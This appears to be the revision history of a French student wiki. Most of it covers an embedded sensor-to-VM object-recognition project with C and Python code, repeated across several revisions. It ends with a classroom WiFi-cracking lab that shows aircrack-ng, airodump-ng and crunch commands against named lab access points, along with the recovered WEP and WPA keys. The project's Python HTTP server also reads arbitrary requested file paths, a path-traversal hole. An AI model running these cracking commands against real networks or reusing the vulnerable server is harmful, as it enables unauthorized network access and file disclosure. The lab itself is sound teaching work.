On observe l'envoie des données avec un séparateur 'espace', puis lorsque les valeurs semblent incohérentes du point de vue du capteur, on envoie arbitrairement un -1 en sortie.

On obtient un jeu de donnée suivant le format : value espace value esapce .... value espace retour chariot (pour chaque lignes/quadrillage sur une ligne)<syntaxhighlight lang="c">
static void print_result_IE(RANGING_SENSOR_Result_t *Result)
{
int8_t j;
int8_t k;
int8_t l;
uint8_t zones_per_line;

zones_per_line = ((Profile.RangingProfile == RS_PROFILE_8x8_AUTONOMOUS) ||
(Profile.RangingProfile == RS_PROFILE_8x8_CONTINUOUS)) ? 8 : 4;

for (j = 0; j < Result->NumberOfZones; j += zones_per_line)
{
for (l = 0; l < RANGING_SENSOR_NB_TARGET_PER_ZONE; l++)
{
/* Print distance and status */
for (k = (zones_per_line - 1); k >= 0; k--)
{
if (Result->ZoneResult[j+k].NumberOfTargets > 0)
printf("%ld ",(long)Result->ZoneResult[j+k].Distance[l]);
else
printf("%ld ", -1);
}
}
}
printf("\n");
}
</syntaxhighlight>

= Code de récupération de donnée (sur la raspberry) =

= Nous avons le scénario suivant : le capteur qui envoie en continue les données de distance à la raspberry via la liaison série. =
Nous avons donc écrit un script python afin de récupérer ces données, les formater dans un fichier format json dans le but de les envoyer sur la VM qui pourra traiter ces données avec l'émulateur obtenue via l'application NanoEdgeAI Studio.

Nous allons vous expliquez le script que nous avons réalisés :<syntaxhighlight lang="python3" line="1">
import serial
from threading import Thread, Event
from time import sleep
import os, sys, signal
import datetime
import glob

# Événement pour signaler l'arrêt des threads
interruptAllEvent = Event()

# Fonction de thread pour lire les données et les sauvegarder dans des fichiers
def serial_thread(ser: serial) -> None:
# Chemin du fichier pour les données initiales du capteur
# Ces données sont vouées à ne pas être utilisées
fileName_old = os.path.dirname(__file__) + "/data/sensor_data_start"

while (1):
if (interruptAllEvent.is_set()):
break

# Créer un nouveau fichier pour chaque minute avec l'horodatage actuel
fileName = os.path.dirname(__file__) + "/data/sensor_data_" + datetime.datetime.now().strftime("%d_%m_%Y__%H_%M_00") + ".json"

# Fermer le fichier de la minute précédente en ajoutant la parenthèse fermante
if (fileName_old != fileName):
with open(fileName_old, "a") as fichier:
fichier.write("\"}")

# Lire les données du port série
string = str(ser.readline(), encoding='utf-8')

# Ouvrir le fichier de la minute actuelle et écrire les données
with open(fileName, "a") as fichier:
# S'il s'agit d'une nouvelle minute, commencer un nouvel objet JSON
if (fileName_old != fileName):
fileName_old = fileName
fichier.write("{\"date\":\""+datetime.datetime.now().strftime("%d/%m/%Y-%H:%M:00")+"\",\"csv_file\":\"")

# Écrire les données dans le fichier
fichier.write(string)

# Gestionnaire de signal pour définir l'événement d'interruption lors d'une interruption clavier (Ctrl+C)
def signal_handler(sig, frame):
interruptAllEvent.set()
return

# Fonction principale
def main() -> None:
# Créer un objet pour la communication série
ser = serial.Serial('/dev/ttyACM0', 460800)

# Créer un thread pour la communication série
thread = Thread(target=serial_thread, args=(ser,))

# Démarrer le thread de communication série
thread.start()

# Mettre en place le gestionnaire de signal pour les événements d'interruption (Ctrl+C)
signal.signal(signal.SIGINT, signal_handler)

# Attendre pendant 5 secondes et supprimer le fichier de données initial du capteur
sleep(5)
os.remove(os.path.dirname(__file__) + "/data/sensor_data_start")

while (1):
# Vérifier si l'événement d'interruption est défini
if interruptAllEvent.is_set():
# Attendre que le thread série se termine, puis sortir de la boucle
thread.join()
break

sleep(5)

# Ajuster les valeurs de minute et d'heure pour l'heure précédente
minute = datetime.datetime.now().minute - 1
hours = datetime.datetime.now().hour
if (minute < 0):
minute = minute + 60
hours = hours - 1

# On modifie tout les \n du fichier json afin que son transfert et sa réception vers le serveur
# soit du bon format. On protège donc tout les \n du fichier avant son envoie.
try:
# Lire et modifier le contenu du fichier de la minute précédente
with open(os.path.dirname(__file__) + "/data/sensor_data_" + datetime.datetime.now().strftime("%d_%m_%Y__") + str(hours) + "_" + str(minute) + "_00.json", "r+") as fichier:
line = fichier.read()
str(line).replace('\n','\\\n')
fichier.write(line)
except FileNotFoundError:
sleep(60)

# Créer une liste de chemins de fichiers pour les 10 dernières minutes
# Tout les autres sont amenés à être supprimés. Dans le but de préserver de la mémoire de stockage
file_to_keep = []
for i in range(0,10):
minute = datetime.datetime.now().minute - i
hours = datetime.datetime.now().hour
if (minute < 0):
minute = minute + 60
hours = hours - 1
path_string = os.path.dirname(__file__) + "/data/sensor_data_" + datetime.datetime.now().strftime("%d_%m_%Y__") + str(hours) + "_" + str(minute) + "_00.json"
file_to_keep.append(path_string)

# Obtenir une liste de tous les fichiers dans le répertoire data
files = glob.glob(os.path.dirname(__file__) + "/data/*")

# Créer une liste de fichiers à supprimer
files_to_remove = []

# Vérifier chaque fichier et l'ajouter à la liste de suppression s'il n'est pas dans la liste des fichiers à conserver
for file_name in files:
beRemoved = True
for f_keep in file_to_keep:
if file_name == f_keep:
beRemoved = False
break
if beRemoved:
files_to_remove.append(file_name)

# Supprimer les fichiers de la liste de suppression
for file_name in files_to_remove:
os.remove(file_name)

# Point d'entrée du script
if __name__ == '__main__':
main()

</syntaxhighlight>

= Résultats renvoyés par le programme de reconnaissance =
[[Fichier:20231220 173650.jpg|gauche|vignette|Aucun objet à reconnaitre]]
[[Fichier:20231220 173812.jpg|vignette|Un stabilo à reconnaitre]]
[[Fichier:20231220 173733.jpg|centre|vignette|Une colle à reconnaitre]]

SE5 ECEAI/eceai 2023/2024/Brenier-Nguyen

2024-01-20T14:05:10Z

Bnguyen1 :

* Séance 1 :
** Création et configuration de la VM sur Chassiron
** Installation de NanoEdge
** Installation de STM32cube
** Installation de l'OS pour la Raspberry dans la carte micro SD
** Prise en main de Nanoedge, de nucléo et de STM32cube
** Début de réflexion sur l'application (métrologie)
*Séance 2:
**Mise en place du serveur python
**Mise en place du client python
**Test réussi de communication entre client et serveur via http
**Programmation de la carte nucléo pour transfert de valeur via liaison série
**Suite réflexion sur l'application (reconnaissance alphabet langue des signes, mouvement)
**Choix de l'application : reconnaissance d'objets appliqué aux fournitures scolaires
**Entraînement des modèles pour les différentes applications cités précédemment
**Finalement : entraînement à la reconnaissance d'objets de fournitures scolaires
*Séance 3:
**Entraînement d'un nouveau modèle.
**Écriture d'un programme permettant de récupérer les données du capteur et de les écrire dans un fichier.
*Séance 4 :
**Essai d'utilisation de la librairie créée grâce à Nanoedge.
**Amélioration du [[Code de récupération de donnée (sur la raspberry)|programme python]] permettant de récupérer les données du capteur.
***Création d'un fichier .txt afin de stocker les données du capteur toutes les minutes.
***Destruction automatique des fichiers de données ayant été crée il y a plus de 10 minutes.
**L’émulateur de la librairie ne fonctionne pas s'il est exécuté dans la raspberry... Nous l'exécutons désormais directement dans notre VM.
**Pour cela nous avons adapter notre programme python afin de récupérer les données à partir d'un json pour traiter ces données dans la VM.
***Création d'un fichier toutes les minutes (contenant au format json la date et les données au format csv)

Code du serveur Python :<syntaxhighlight lang="python3">
from http.server import HTTPServer, BaseHTTPRequestHandler

import json

import socket

# Stocker les requ tes POST re ues

post_requests = []

class CustomHTTPHandler(BaseHTTPRequestHandler):

def do_GET(self):

if self.path == '/':

self.path = '/index.html'

if self.path == '/data':

self.send_response(200)

self.send_header('Content-type', 'application/json')

self.end_headers()

self.wfile.write(bytes(json.dumps(post_requests), 'utf-8'))

return

if self.path == '/index.html':

self.send_response(200)

self.send_header('Content-type', 'text/html')

self.end_headers()

# Cr er le contenu HTML avec les donn es POST

content = '<html><body><h1>Donn es POST:</h1><ul>'

for item in post_requests:

content += f'<li>{item}</li>'

content += '</ul></body></html>'

self.wfile.write(content.encode('utf-8'))

return

try:

file_to_open = open(self.path[1:]).read()

self.send_response(200)

self.send_header('Content-type', 'text/html')

self.end_headers()

self.wfile.write(bytes(file_to_open, 'utf-8'))

except FileNotFoundError:

self.send_error(404, 'File Not Found: %s' % self.path)

def do_POST(self):

content_length = int(self.headers['Content-Length'])

post_data = self.rfile.read(content_length).decode('utf-8')

# Ajouter les donn es POST la liste

post_requests.append(post_data)

# Envoyer une rponse HTTP

self.send_response(200)

self.end_headers()

self.wfile.write(b"POST request processed")

class HTTPServerV6(HTTPServer):

address_family = socket.AF_INET6

if __name__ == '__main__':

server_address = ('::', 8888) # ^icoute sur toutes les interfaces IPv6, p>

httpd = HTTPServerV6(server_address, CustomHTTPHandler)

print("Serveur actif sur le port", 8888)

httpd.serve_forever()
</syntaxhighlight>'''Code du client Python :'''<syntaxhighlight lang="python3">
import argparse
import requests
import json

def send_json_to_server(url, json_file):
# Charger les données CSV depuis le fichier spécifié
with open(json_file, 'r') as file:
data = json.load(file)

# En-têtes spécifiant que vous envoyez du CSV
headers = {'Content-Type': 'application/json'}

# Envoie de la requête HTTP POST avec les données
response = requests.post(url, data=json.dumps(data), headers=headers)

# Vérification de la réponse
if response.status_code == 200:
print('Requête envoyée avec succès!')
else:
print(f'Erreur {response.status_code}: {response.text}')

if __name__ == "__main__":
# Configurer les arguments en ligne de commande
parser = argparse.ArgumentParser(description='Client Python pour envoyer des JSON via HTTP.')
parser.add_argument('url', type=str, help='URL du serveur')
parser.add_argument('json_file', type=str, help='Chemin vers le fichier JSON à envoyer')

# Analyser les arguments
args = parser.parse_args()

# Appeler la fonction pour envoyer le JSON au serveur
send_json_to_server(args.url, args.json_file)
</syntaxhighlight>'''Index permettant d'afficher le json de test que nous avons envoyé au serveur :'''<syntaxhighlight lang="html">
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Page d'Accueil</title>
</head>
<body>
<h1>Bienvenue sur Mon Serveur</h1>
<h2>Données POST reçues:</h2>
<ul id="data">

</ul>
</body>
</html>

</syntaxhighlight>'''Capture montrant l'affichage d'un fichier json (sans aucun sens) envoyé au serveur depuis le client :'''

= Flash du capteur sur le logiciel STM32CubeIDE =
Le code ci-dessous est la fonction qui est appelé pour le traitement des capteurs. Nous avions décidé de définir le délimiteur de donnée avec un espace.
[[Fichier:CaptureIndexBrenierNguyen.png|centre|Démonstration du protocole HTTP]]

Ci-dessous, on retrouve de la ligne 8 à 12 la configuration du capteur que l'on a défini sur un quadrillage de 8 x 8.<syntaxhighlight lang="c" line="1">
static void MX_53L5A1_SimpleRanging_Process(void)
{
uint32_t Id;

VL53L5A1_RANGING_SENSOR_ReadID(VL53L5A1_DEV_CENTER, &Id);
VL53L5A1_RANGING_SENSOR_GetCapabilities(VL53L5A1_DEV_CENTER, &Cap);

Profile.RangingProfile = RS_PROFILE_8x8_CONTINUOUS;
Profile.TimingBudget = TIMING_BUDGET; /* 5 ms < TimingBudget < 100 ms */
Profile.Frequency = RANGING_FREQUENCY; /* Ranging frequency Hz (shall be consistent with TimingBudget value) */
Profile.EnableAmbient = 0; /* Enable: 1, Disable: 0 */
Profile.EnableSignal = 0; /* Enable: 1, Disable: 0 */

/* set the profile if different from default one */
VL53L5A1_RANGING_SENSOR_ConfigProfile(VL53L5A1_DEV_CENTER, &Profile);

status = VL53L5A1_RANGING_SENSOR_Start(VL53L5A1_DEV_CENTER, RS_MODE_BLOCKING_CONTINUOUS);

if (status != BSP_ERROR_NONE)
{
printf("VL53L5A1_RANGING_SENSOR_Start failed\n");
while (1);
}

while (1)
{
/* polling mode */
status = VL53L5A1_RANGING_SENSOR_GetDistance(VL53L5A1_DEV_CENTER, &Result);

if (status == BSP_ERROR_NONE)
{
//print_result(&Result);
print_result_IE(&Result);
}

if (com_has_data())
{
handle_cmd(get_key());
}

HAL_Delay(POLLING_PERIOD);
}
}
</syntaxhighlight>Le code ci-dessous est la fonction qui nous permet d'afficher les données des capteurs via la liaison série.

On observe l'envoie des données avec un séparateur 'espace', puis lorsque les valeurs semblent incohérentes du point de vue du capteur, on envoie arbitrairement un -1 en sortie.

On obtient un jeu de donnée suivant le format : value espace value esapce .... value espace retour chariot (pour chaque lignes/quadrillage sur une ligne)<syntaxhighlight lang="c">
static void print_result_IE(RANGING_SENSOR_Result_t *Result)
{
int8_t j;
int8_t k;
int8_t l;
uint8_t zones_per_line;

zones_per_line = ((Profile.RangingProfile == RS_PROFILE_8x8_AUTONOMOUS) ||
(Profile.RangingProfile == RS_PROFILE_8x8_CONTINUOUS)) ? 8 : 4;

for (j = 0; j < Result->NumberOfZones; j += zones_per_line)
{
for (l = 0; l < RANGING_SENSOR_NB_TARGET_PER_ZONE; l++)
{
/* Print distance and status */
for (k = (zones_per_line - 1); k >= 0; k--)
{
if (Result->ZoneResult[j+k].NumberOfTargets > 0)
printf("%ld ",(long)Result->ZoneResult[j+k].Distance[l]);
else
printf("%ld ", -1);
}
}
}
printf("\n");
}
</syntaxhighlight>

= Code de récupération de donnée (sur la raspberry) =

= Nous avons le scénario suivant : le capteur qui envoie en continue les données de distance à la raspberry via la liaison série. =
Nous avons donc écrit un script python afin de récupérer ces données, les formater dans un fichier format json dans le but de les envoyer sur la VM qui pourra traiter ces données avec l'émulateur obtenue via l'application NanoEdgeAI Studio.

Nous allons vous expliquez le script que nous avons réalisés :<syntaxhighlight lang="python3" line="1">
import serial
from threading import Thread, Event
from time import sleep
import os, sys, signal
import datetime
import glob

# Événement pour signaler l'arrêt des threads
interruptAllEvent = Event()

# Fonction de thread pour lire les données et les sauvegarder dans des fichiers
def serial_thread(ser: serial) -> None:
# Chemin du fichier pour les données initiales du capteur
# Ces données sont vouées à ne pas être utilisées
fileName_old = os.path.dirname(__file__) + "/data/sensor_data_start"

while (1):
if (interruptAllEvent.is_set()):
break

# Créer un nouveau fichier pour chaque minute avec l'horodatage actuel
fileName = os.path.dirname(__file__) + "/data/sensor_data_" + datetime.datetime.now().strftime("%d_%m_%Y__%H_%M_00") + ".json"

# Fermer le fichier de la minute précédente en ajoutant la parenthèse fermante
if (fileName_old != fileName):
with open(fileName_old, "a") as fichier:
fichier.write("\"}")

# Lire les données du port série
string = str(ser.readline(), encoding='utf-8')

# Ouvrir le fichier de la minute actuelle et écrire les données
with open(fileName, "a") as fichier:
# S'il s'agit d'une nouvelle minute, commencer un nouvel objet JSON
if (fileName_old != fileName):
fileName_old = fileName
fichier.write("{\"date\":\""+datetime.datetime.now().strftime("%d/%m/%Y-%H:%M:00")+"\",\"csv_file\":\"")

# Écrire les données dans le fichier
fichier.write(string)

# Gestionnaire de signal pour définir l'événement d'interruption lors d'une interruption clavier (Ctrl+C)
def signal_handler(sig, frame):
interruptAllEvent.set()
return

# Fonction principale
def main() -> None:
# Créer un objet pour la communication série
ser = serial.Serial('/dev/ttyACM0', 460800)

# Créer un thread pour la communication série
thread = Thread(target=serial_thread, args=(ser,))

# Démarrer le thread de communication série
thread.start()

# Mettre en place le gestionnaire de signal pour les événements d'interruption (Ctrl+C)
signal.signal(signal.SIGINT, signal_handler)

# Attendre pendant 5 secondes et supprimer le fichier de données initial du capteur
sleep(5)
os.remove(os.path.dirname(__file__) + "/data/sensor_data_start")

while (1):
# Vérifier si l'événement d'interruption est défini
if interruptAllEvent.is_set():
# Attendre que le thread série se termine, puis sortir de la boucle
thread.join()
break

sleep(5)

# Ajuster les valeurs de minute et d'heure pour l'heure précédente
minute = datetime.datetime.now().minute - 1
hours = datetime.datetime.now().hour
if (minute < 0):
minute = minute + 60
hours = hours - 1

# On modifie tout les \n du fichier json afin que son transfert et sa réception vers le serveur
# soit du bon format. On protège donc tout les \n du fichier avant son envoie.
try:
# Lire et modifier le contenu du fichier de la minute précédente
with open(os.path.dirname(__file__) + "/data/sensor_data_" + datetime.datetime.now().strftime("%d_%m_%Y__") + str(hours) + "_" + str(minute) + "_00.json", "r+") as fichier:
line = fichier.read()
str(line).replace('\n','\\\n')
fichier.write(line)
except FileNotFoundError:
sleep(60)

# Créer une liste de chemins de fichiers pour les 10 dernières minutes
# Tout les autres sont amenés à être supprimés. Dans le but de préserver de la mémoire de stockage
file_to_keep = []
for i in range(0,10):
minute = datetime.datetime.now().minute - i
hours = datetime.datetime.now().hour
if (minute < 0):
minute = minute + 60
hours = hours - 1
path_string = os.path.dirname(__file__) + "/data/sensor_data_" + datetime.datetime.now().strftime("%d_%m_%Y__") + str(hours) + "_" + str(minute) + "_00.json"
file_to_keep.append(path_string)

# Obtenir une liste de tous les fichiers dans le répertoire data
files = glob.glob(os.path.dirname(__file__) + "/data/*")

# Créer une liste de fichiers à supprimer
files_to_remove = []

# Vérifier chaque fichier et l'ajouter à la liste de suppression s'il n'est pas dans la liste des fichiers à conserver
for file_name in files:
beRemoved = True
for f_keep in file_to_keep:
if file_name == f_keep:
beRemoved = False
break
if beRemoved:
files_to_remove.append(file_name)

# Supprimer les fichiers de la liste de suppression
for file_name in files_to_remove:
os.remove(file_name)

# Point d'entrée du script
if __name__ == '__main__':
main()

</syntaxhighlight>

= Résultats renvoyés par le programme de reconnaissance =
[[Fichier:20231220 173650.jpg|gauche|vignette|Aucun objet à reconnaitre]]
[[Fichier:20231220 173812.jpg|vignette|Un stabilo à reconnaitre]]
[[Fichier:20231220 173733.jpg|centre|vignette|Une colle à reconnaitre]]

SE5 ECEAI/eceai 2023/2024/Brenier-Nguyen

2024-01-20T13:55:56Z

Bnguyen1 : /* Code de récupération de donnée (sur la raspberry) */

* Séance 1 :
** Création et configuration de la VM sur Chassiron
** Installation de NanoEdge
** Installation de STM32cube
** Installation de l'OS pour la Raspberry dans la carte micro SD
** Prise en main de Nanoedge, de nucléo et de STM32cube
** Début de réflexion sur l'application (métrologie)
*Séance 2:
**Mise en place du serveur python
**Mise en place du client python
**Test réussi de communication entre client et serveur via http
**Programmation de la carte nucléo pour transfert de valeur via liaison série
**Suite réflexion sur l'application (reconnaissance alphabet langue des signes, mouvement)
**Choix de l'application : reconnaissance d'objets appliqué aux fournitures scolaires
**Entraînement des modèles pour les différentes applications cités précédemment
**Finalement : entraînement à la reconnaissance d'objets de fournitures scolaires
*Séance 3:
**Entraînement d'un nouveau modèle.
**Écriture d'un programme permettant de récupérer les données du capteur et de les écrire dans un fichier.
*Séance 4 :
**Essai d'utilisation de la librairie créée grâce à Nanoedge.
**Amélioration du programme python permettant de récupérer les données du capteur.
***Création d'un fichier .txt afin de stocker les données du capteur toutes les minutes.
***Destruction automatique des fichiers de données ayant été crée il y a plus de 10 minutes.
**L’émulateur de la librairie ne fonctionne pas s'il est exécuté dans la raspberry... Nous l'exécutons désormais directement dans notre VM.
**Pour cela nous avons adapter notre programme python afin de récupérer les données à partir d'un json pour traiter ces données dans la VM.
***Création d'un fichier toutes les minutes (contenant au format json la date et les données au format csv)

Code du serveur Python :<syntaxhighlight lang="python3">
from http.server import HTTPServer, BaseHTTPRequestHandler

import json

import socket

# Stocker les requ tes POST re ues

post_requests = []

class CustomHTTPHandler(BaseHTTPRequestHandler):

def do_GET(self):

if self.path == '/':

self.path = '/index.html'

if self.path == '/data':

self.send_response(200)

self.send_header('Content-type', 'application/json')

self.end_headers()

self.wfile.write(bytes(json.dumps(post_requests), 'utf-8'))

return

if self.path == '/index.html':

self.send_response(200)

self.send_header('Content-type', 'text/html')

self.end_headers()

# Cr er le contenu HTML avec les donn es POST

content = '<html><body><h1>Donn es POST:</h1><ul>'

for item in post_requests:

content += f'<li>{item}</li>'

content += '</ul></body></html>'

self.wfile.write(content.encode('utf-8'))

return

try:

file_to_open = open(self.path[1:]).read()

self.send_response(200)

self.send_header('Content-type', 'text/html')

self.end_headers()

self.wfile.write(bytes(file_to_open, 'utf-8'))

except FileNotFoundError:

self.send_error(404, 'File Not Found: %s' % self.path)

def do_POST(self):

content_length = int(self.headers['Content-Length'])

post_data = self.rfile.read(content_length).decode('utf-8')

# Ajouter les donn es POST la liste

post_requests.append(post_data)

# Envoyer une rponse HTTP

self.send_response(200)

self.end_headers()

self.wfile.write(b"POST request processed")

class HTTPServerV6(HTTPServer):

address_family = socket.AF_INET6

if __name__ == '__main__':

server_address = ('::', 8888) # ^icoute sur toutes les interfaces IPv6, p>

httpd = HTTPServerV6(server_address, CustomHTTPHandler)

print("Serveur actif sur le port", 8888)

httpd.serve_forever()
</syntaxhighlight>'''Code du client Python :'''<syntaxhighlight lang="python3">
import argparse
import requests
import json

def send_json_to_server(url, json_file):
# Charger les données CSV depuis le fichier spécifié
with open(json_file, 'r') as file:
data = json.load(file)

# En-têtes spécifiant que vous envoyez du CSV
headers = {'Content-Type': 'application/json'}

# Envoie de la requête HTTP POST avec les données
response = requests.post(url, data=json.dumps(data), headers=headers)

# Vérification de la réponse
if response.status_code == 200:
print('Requête envoyée avec succès!')
else:
print(f'Erreur {response.status_code}: {response.text}')

if __name__ == "__main__":
# Configurer les arguments en ligne de commande
parser = argparse.ArgumentParser(description='Client Python pour envoyer des JSON via HTTP.')
parser.add_argument('url', type=str, help='URL du serveur')
parser.add_argument('json_file', type=str, help='Chemin vers le fichier JSON à envoyer')

# Analyser les arguments
args = parser.parse_args()

# Appeler la fonction pour envoyer le JSON au serveur
send_json_to_server(args.url, args.json_file)
</syntaxhighlight>'''Index permettant d'afficher le json de test que nous avons envoyé au serveur :'''<syntaxhighlight lang="html">
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Page d'Accueil</title>
</head>
<body>
<h1>Bienvenue sur Mon Serveur</h1>
<h2>Données POST reçues:</h2>
<ul id="data">

</ul>
</body>
</html>

</syntaxhighlight>'''Capture montrant l'affichage d'un fichier json (sans aucun sens) envoyé au serveur depuis le client :'''

== Flash du capteur sur le logiciel STM32CubeIDE ==
Le code ci-dessous est la fonction qui est appelé pour le traitement des capteurs. Nous avions décidé de définir le délimiteur de donnée avec un espace.
[[Fichier:CaptureIndexBrenierNguyen.png|centre|Démonstration du protocole HTTP]]

Ci-dessous, on retrouve de la ligne 8 à 12 la configuration du capteur que l'on a défini sur un quadrillage de 8 x 8.<syntaxhighlight lang="c" line="1">
static void MX_53L5A1_SimpleRanging_Process(void)
{
uint32_t Id;

VL53L5A1_RANGING_SENSOR_ReadID(VL53L5A1_DEV_CENTER, &Id);
VL53L5A1_RANGING_SENSOR_GetCapabilities(VL53L5A1_DEV_CENTER, &Cap);

Profile.RangingProfile = RS_PROFILE_8x8_CONTINUOUS;
Profile.TimingBudget = TIMING_BUDGET; /* 5 ms < TimingBudget < 100 ms */
Profile.Frequency = RANGING_FREQUENCY; /* Ranging frequency Hz (shall be consistent with TimingBudget value) */
Profile.EnableAmbient = 0; /* Enable: 1, Disable: 0 */
Profile.EnableSignal = 0; /* Enable: 1, Disable: 0 */

/* set the profile if different from default one */
VL53L5A1_RANGING_SENSOR_ConfigProfile(VL53L5A1_DEV_CENTER, &Profile);

status = VL53L5A1_RANGING_SENSOR_Start(VL53L5A1_DEV_CENTER, RS_MODE_BLOCKING_CONTINUOUS);

if (status != BSP_ERROR_NONE)
{
printf("VL53L5A1_RANGING_SENSOR_Start failed\n");
while (1);
}

while (1)
{
/* polling mode */
status = VL53L5A1_RANGING_SENSOR_GetDistance(VL53L5A1_DEV_CENTER, &Result);

if (status == BSP_ERROR_NONE)
{
//print_result(&Result);
print_result_IE(&Result);
}

if (com_has_data())
{
handle_cmd(get_key());
}

HAL_Delay(POLLING_PERIOD);
}
}
</syntaxhighlight>Le code ci-dessous est la fonction qui nous permet d'afficher les données des capteurs via la liaison série.

On observe l'envoie des données avec un séparateur 'espace', puis lorsque les valeurs semblent incohérentes du point de vue du capteur, on envoie arbitrairement un -1 en sortie.

On obtient un jeu de donnée suivant le format : value espace value esapce .... value espace retour chariot (pour chaque lignes/quadrillage sur une ligne)<syntaxhighlight lang="c">
static void print_result_IE(RANGING_SENSOR_Result_t *Result)
{
int8_t j;
int8_t k;
int8_t l;
uint8_t zones_per_line;

zones_per_line = ((Profile.RangingProfile == RS_PROFILE_8x8_AUTONOMOUS) ||
(Profile.RangingProfile == RS_PROFILE_8x8_CONTINUOUS)) ? 8 : 4;

for (j = 0; j < Result->NumberOfZones; j += zones_per_line)
{
for (l = 0; l < RANGING_SENSOR_NB_TARGET_PER_ZONE; l++)
{
/* Print distance and status */
for (k = (zones_per_line - 1); k >= 0; k--)
{
if (Result->ZoneResult[j+k].NumberOfTargets > 0)
printf("%ld ",(long)Result->ZoneResult[j+k].Distance[l]);
else
printf("%ld ", -1);
}
}
}
printf("\n");
}
</syntaxhighlight>

== Code de récupération de donnée (sur la raspberry) ==
Nous avons le scénario suivant : le capteur qui envoie en continue les données de distance à la raspberry via la liaison série.

Nous avons donc écrit un script python afin de récupérer ces données, les formater dans un fichier format json dans le but de les envoyer sur la VM qui pourra traiter ces données avec l'émulateur obtenue via l'application NanoEdgeAI Studio.

Nous allons vous expliquez le script que nous avons réalisés :<syntaxhighlight lang="python3" line="1">
import serial
from threading import Thread, Event
from time import sleep
import os, sys, signal
import datetime
import glob

# Événement pour signaler l'arrêt des threads
interruptAllEvent = Event()

# Fonction de thread pour lire les données et les sauvegarder dans des fichiers
def serial_thread(ser: serial) -> None:
# Chemin du fichier pour les données initiales du capteur
# Ces données sont vouées à ne pas être utilisées
fileName_old = os.path.dirname(__file__) + "/data/sensor_data_start"

while (1):
if (interruptAllEvent.is_set()):
break

# Créer un nouveau fichier pour chaque minute avec l'horodatage actuel
fileName = os.path.dirname(__file__) + "/data/sensor_data_" + datetime.datetime.now().strftime("%d_%m_%Y__%H_%M_00") + ".json"

# Fermer le fichier de la minute précédente en ajoutant la parenthèse fermante
if (fileName_old != fileName):
with open(fileName_old, "a") as fichier:
fichier.write("\"}")

# Lire les données du port série
string = str(ser.readline(), encoding='utf-8')

# Ouvrir le fichier de la minute actuelle et écrire les données
with open(fileName, "a") as fichier:
# S'il s'agit d'une nouvelle minute, commencer un nouvel objet JSON
if (fileName_old != fileName):
fileName_old = fileName
fichier.write("{\"date\":\""+datetime.datetime.now().strftime("%d/%m/%Y-%H:%M:00")+"\",\"csv_file\":\"")

# Écrire les données dans le fichier
fichier.write(string)

# Gestionnaire de signal pour définir l'événement d'interruption lors d'une interruption clavier (Ctrl+C)
def signal_handler(sig, frame):
interruptAllEvent.set()
return

# Fonction principale
def main() -> None:
# Créer un objet pour la communication série
ser = serial.Serial('/dev/ttyACM0', 460800)

# Créer un thread pour la communication série
thread = Thread(target=serial_thread, args=(ser,))

# Démarrer le thread de communication série
thread.start()

# Mettre en place le gestionnaire de signal pour les événements d'interruption (Ctrl+C)
signal.signal(signal.SIGINT, signal_handler)

# Attendre pendant 5 secondes et supprimer le fichier de données initial du capteur
sleep(5)
os.remove(os.path.dirname(__file__) + "/data/sensor_data_start")

while (1):
# Vérifier si l'événement d'interruption est défini
if interruptAllEvent.is_set():
# Attendre que le thread série se termine, puis sortir de la boucle
thread.join()
break

sleep(5)

# Ajuster les valeurs de minute et d'heure pour l'heure précédente
minute = datetime.datetime.now().minute - 1
hours = datetime.datetime.now().hour
if (minute < 0):
minute = minute + 60
hours = hours - 1

# On modifie tout les \n du fichier json afin que son transfert et sa réception vers le serveur
# soit du bon format. On protège donc tout les \n du fichier avant son envoie.
try:
# Lire et modifier le contenu du fichier de la minute précédente
with open(os.path.dirname(__file__) + "/data/sensor_data_" + datetime.datetime.now().strftime("%d_%m_%Y__") + str(hours) + "_" + str(minute) + "_00.json", "r+") as fichier:
line = fichier.read()
str(line).replace('\n','\\\n')
fichier.write(line)
except FileNotFoundError:
sleep(60)

# Créer une liste de chemins de fichiers pour les 10 dernières minutes
# Tout les autres sont amenés à être supprimés. Dans le but de préserver de la mémoire de stockage
file_to_keep = []
for i in range(0,10):
minute = datetime.datetime.now().minute - i
hours = datetime.datetime.now().hour
if (minute < 0):
minute = minute + 60
hours = hours - 1
path_string = os.path.dirname(__file__) + "/data/sensor_data_" + datetime.datetime.now().strftime("%d_%m_%Y__") + str(hours) + "_" + str(minute) + "_00.json"
file_to_keep.append(path_string)

# Obtenir une liste de tous les fichiers dans le répertoire data
files = glob.glob(os.path.dirname(__file__) + "/data/*")

# Créer une liste de fichiers à supprimer
files_to_remove = []

# Vérifier chaque fichier et l'ajouter à la liste de suppression s'il n'est pas dans la liste des fichiers à conserver
for file_name in files:
beRemoved = True
for f_keep in file_to_keep:
if file_name == f_keep:
beRemoved = False
break
if beRemoved:
files_to_remove.append(file_name)

# Supprimer les fichiers de la liste de suppression
for file_name in files_to_remove:
os.remove(file_name)

# Point d'entrée du script
if __name__ == '__main__':
main()

</syntaxhighlight>

== Résultats renvoyés par le programme de reconnaissance ==
[[Fichier:20231220 173733.jpg|vignette|Une colle à reconnaitre]]
[[Fichier:20231220 173650.jpg|gauche|vignette|Aucun objet à reconnaitre]]

Atelier SysRes SE5 2023/2024 E6

2024-01-16T16:36:23Z

Bnguyen1 : /* Effraction WiFi */

== Effraction WiFi ==

=== Cassage de clef WEP d’un point d’accès WiFi ===
WiFi : cracotte07

BSSID : 04:DA:D2:9C:50:56

interface réseau (zabeth07) : wlan0mon

cmd lancée : <syntaxhighlight lang="bash">
airodump-ng --bssid 04:DA:D2:9C:50:56 -w output wlan0
aircrack-ng -b 04:DA:D2:9C:50:56 output*.cap
</syntaxhighlight>
[[Fichier:Crack clef WEP.png|vignette|1561x1561px|néant]]

'''Clef trouvée''' : FF:FF:FF:FF:FA:BC:08:CB:AE:EE:EE:EE:EE

=== Cassage de mot de passe WPA-PSK par force brute ===
WiFi : kracotte10

BSSID : 44:AD:D9:5F:87:09

Création d'un dictionnaire à l'aide de crunch<syntaxhighlight lang="bash">
crunch 8 8 0123456789 dico.txt $Création du dico
airodump-ng --bssid 44:AD:D9:5F:87:09 -w output_10 wlan0mon $Récupération des paquets WiFi
aircrack-ng -b 44:AD:D9:5F:87:09 -w dico.txt output_10*.cap
</syntaxhighlight>[[Fichier:Crack wifi wpa.png|sans_cadre|762x762px]]

'''Clef trouvée''' : 66686666

Atelier SysRes SE5 2023/2024 E6

2024-01-16T16:06:32Z

Bnguyen1 : /* Effraction WiFi */

== Effraction WiFi ==

=== Cassage de clef WEP d’un point d’accès WiFi ===
